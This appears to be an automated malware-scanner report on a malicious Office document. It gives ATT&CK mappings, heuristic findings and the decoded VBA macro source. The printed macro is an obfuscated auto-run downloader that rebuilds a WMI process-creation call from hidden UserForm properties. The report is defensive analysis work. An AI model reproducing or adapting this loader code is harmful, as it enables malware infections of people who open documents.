MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate/Decode Files or Information
The sample contains a VBA macro that is automatically executed upon opening the document. This macro utilizes a UserForm hidden-property command stager and `CreateObject` to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Lemodldr-9445253-0' further supports its classification as a downloader.
Heuristics 7
-
ClamAV: Doc.Downloader.Lemodldr-9445253-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Lemodldr-9445253-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5270 bytes |
SHA-256: aad37b8563a763eeb53f3a9a15bc4594a9f3983e1b1a1f726fd7c0174d152cbe |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "BYZWBhwpcejjq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
BCJDPtoknvhn.DLAODzbhiurfldhjdmm
End Sub
Attribute VB_Name = "BCJDPtoknvhn"
Attribute VB_Base = "0{851F0D1E-DF0E-4C38-8AEC-8F08C9F8A07E}{803EF3D1-9C30-4106-A50D-462B1E008D37}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function DLAODzbhiurfldhjdmm()
KVn3Y4Áw0ÔA = 4
Do While KVn3Y4Áw0ÔA < 4 + 8
KVn3Y4Áw0ÔA = KVn3Y4Áw0ÔA + 8: DoEvents
Loop
Dim f8ÖXW2ÄqDXRG As String
f8ÖXW2ÄqDXRG = Replace$("QnUsbBw4ÄKnTibrA", "QnUsbBw4ÄKn", "for")
Dim GD5ÕFBF6ÒuvD As Integer
GD5ÕFBF6ÒuvD = 9
Do While GD5ÕFBF6ÒuvD < 9 + 4
GD5ÕFBF6ÒuvD = GD5ÕFBF6ÒuvD + 9: DoEvents
Loop
QIWKWcmmwwudqv = Chr(BCJDPtoknvhn.Zoom + ((50 + 50 + 20) / 8))
Dim hdgKyIb4ÛjC As Integer
hdgKyIb4ÛjC = 5
Do While hdgKyIb4ÛjC < 5 + 5
hdgKyIb4ÛjC = hdgKyIb4ÛjC + 7: DoEvents
Loop
NQZGLxqzysgkesf = "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23di838h2782ghhHU*(Y*hioHY*hssn2n23dnm838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dgm838h2782ghhHU*(Y*hioHY*hssn2n23dt838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d" + QIWKWcmmwwudqv + "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d:838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23din838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d3838h2782ghhHU*(Y*hioHY*hssn2n23d2838h2782ghhHU*(Y*hioHY*hssn2n23d_838h2782ghhHU*(Y*hioHY*hssn2n23d" + BCJDPtoknvhn.NORQEhiwojergzpgw + "838h2782ghhHU*(Y*hioHY*hssn2n23dro838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dce838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23d"
Dim FsVG As String
FsVG = Replace$("HfOnkMLa2ÄVOemSbJg", "HfOnkML", "jvSb5ÁQHX")
NDAHPjgzornezqdzb = BPMYCnnufemcioh(NQZGLxqzysgkesf)
Dim J6áq4ÕR0Â As String
J6áq4ÕR0Â = Replace$("AyA7ÌWYeuUqBUfFDdc", "AyA7ÌWYeu", "ZvXdXZCY")
Set AOBHWymkuodiifhdpz = CreateObject(NDAHPjgzornezqdzb)
Dim Es7Ëtfr As Integer
Es7Ëtfr = 8
Do While Es7Ëtfr < 8 + 3
Es7Ëtfr = Es7Ëtfr + 9: DoEvents
Loop
MXWRHgywmeqpkeh = BCJDPtoknvhn.PUYNQobufzkns.ControlTipText
wcNZtnpFpA = 8
Do While wcNZtnpFpA < 8 + 2
wcNZtnpFpA = wcNZtnpFpA + 3: DoEvents
Loop
BZCGLpdgdohvtcu = UOJSI + (NDAHPjgzornezqdzb + QIWKWcmmwwudqv) + (BCJDPtoknvhn.JGDNYtgouscdxmuihls.ControlTipText + MXWRHgywmeqpkeh)
Dim n6Àq As String
n6Àq = Replace$("CO6ÃiqdotmZmIRVG", "CO6Ãiq", "vQLr1È1ÉlU")
DBSTPbjqmquyp = BZCGLpdgdohvtcu + BCJDPtoknvhn.NORQEhiwojergzpgw
Dim S3Â6Å2Ù0álsZh As Integer
S3Â6Å2Ù0álsZh = 8
Do While S3Â6Å2Ù0álsZh < 8 + 3
S3Â6Å2Ù0álsZh = S3Â6Å2Ù0álsZh + 2: DoEvents
Loop
Set IZZOEbdwoyqdgunvi = EXXGLlrlzhihu(DBSTPbjqmquyp)
Dim DYilPBNgb As Integer
DYilPBNgb = 1
Do While DYilPBNgb < 1 + 3
DYilPBNgb = DYilPBNgb + 2: DoEvents
Loop
vfde = Array("qnoih hiqwio hiossisi", AOBHWymkuodiifhdpz. _
Create(ZVQXNdpyaree, IFELYoevhcqmayglzi, IZZOEbdwoyqdgunvi), "ihqwi hqiodhos aihidoqi ")
Dim XK6ÎihXYdel As String
XK6ÎihXYdel = Replace$("wavIaG7ÈJkjfEdjegJfp", "wavIaG7ÈJkj", "FnaL0ÍW0Óf")
End Function
Function EXXGLlrlzhihu(EVFOItpbtpitbzjdg)
Set EXXGLlrlzhihu = CreateObject(EVFOItpbtpitbzjdg)
Dim rFn As Integer
rFn = 1
Do While rFn < 1 + 7
rFn = rFn + 1: DoEvents
Loop
EXXGLlrlzhihu.showwindow = (RDCTTdgtisrnkbnrcy + EBKDAkglxijpivqltgl)
Dim qIft6Ãs5ÅR As String
qIft6Ãs5ÅR = Replace$("G1ÕvQLrK5Æ5ÔUtrS", "G1ÕvQL", "Dh3É")
End Function
Function BPMYCnnufemcioh(KPKPBhnnoygul)
KJGWCbqmadjbuw = KPKPBhnnoygul
Dim UlsZhPn As String
UlsZhPn = Replace$("pDYilPBNgBIav5ÐX2Çt", "pDYilPBNg", "DGwj")
TRLSQddhyrjscvapy = Split _
(KJGWCbqmadjbuw, "838h2782ghhHU*(Y*hioHY*hssn2n23d")
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.